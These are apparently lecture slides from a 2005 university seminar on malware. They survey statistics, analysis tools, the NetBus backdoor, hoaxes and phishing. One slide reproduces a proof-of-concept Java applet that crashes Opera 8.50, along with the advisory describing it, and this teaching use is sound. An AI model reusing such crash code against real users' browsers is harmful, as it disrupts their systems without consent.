Date post: | 22-Dec-2015 |
Category: |
Documents |
View: | 216 times |
Download: | 1 times |
Malware – Cont.
Maxim Vainstein & Emanuel Hahamov
HUJI, CS, Seminar in Software Design
08.12.2005
Malware Statistic
Malware Statistic Cont.
Take it “easy…”
Take it “easy”… (Cont.)
Malware – Example
Malware – Example(2)Opera Java Applet DoS
import java.applet.Applet;import java.awt.Graphics;import netscape.javascript.JSObject;
public class OperaTest extends Applet{ static { System.out.println("Loaded 1.2");} public void paint(Graphics g) { System.out.println("start"); try { netscape.javascript.JSObject jso = JSObject.getWindow(this); System.out.println(jso.getClass()); com.opera.JSObject j = (com.opera.JSObject ) jso; char[] x = new char[1000000]; for (int y = 0 ; y < x.length; y++) { x [y] = 'A'; } String z = new String(x); System.out.println("after evalb"); j.removeMember(z); System.out.println("after remove"); } catch (Exception e) { e.printStackTrace(); }}}
Summary Opera is "a computer application for handling most common internet-related tasks, including: web browsing, sending and receiving messages, managing contacts and online chat".A vulnerability in a Opera allows remote attackers to cause the program to crash by utilizing a malicious Java applet. DetailsVulnerable Systems:
* Opera version 8.50Immune Systems:
* Opera version 8.51It is possible to crash the opera 8.50 browser with a simple java Applet (see below). This was observed on Win32, Linux versions maybe affected, too.
This can be tested at:http://www.illegalaccess.org/exploit/opera85/OperaApplet.htmlAs you can see the applet crashes at 0x67c0a54c. This is caused by a bug in a JNI routine implementing the com.opera.JSObject class. It cannot beruled out, that this bug is exploitable.The opera guys were informed on the 21st of September, and then again on 8th of October. Code Additional Information
The information has been provided by <mailto:[email protected]>Marc Schoenefeld.
System Debug Tools
SysInternals - www.sysinternals.com
Process Explorer FileMon RegMon TcpView TDIMon WinObj More…
Emsi A2-HijackFree LSPfix TaskManager16 Ethreal Network Sniffer
NetBus - Demo
Advanced Remote Control Backdoor Key logger Screen capture Multimedia Capture
Video Sound Microphone
False Remote Administration/Helpdesk ?!
More Malware
Scams and Hoaxes
Malware-related False Information (to force user
for unwanted action)
Scams And Shams Luck-based hoaxes Money-based hoaxes
Urban Legends
Jokes (JOKE_BURST.A, JOKE_TRAIN.B)
No malicious code, but can be noisy
Phishing – Local/Web Network Redirection
False known website BankseCommerceeMails
Questions?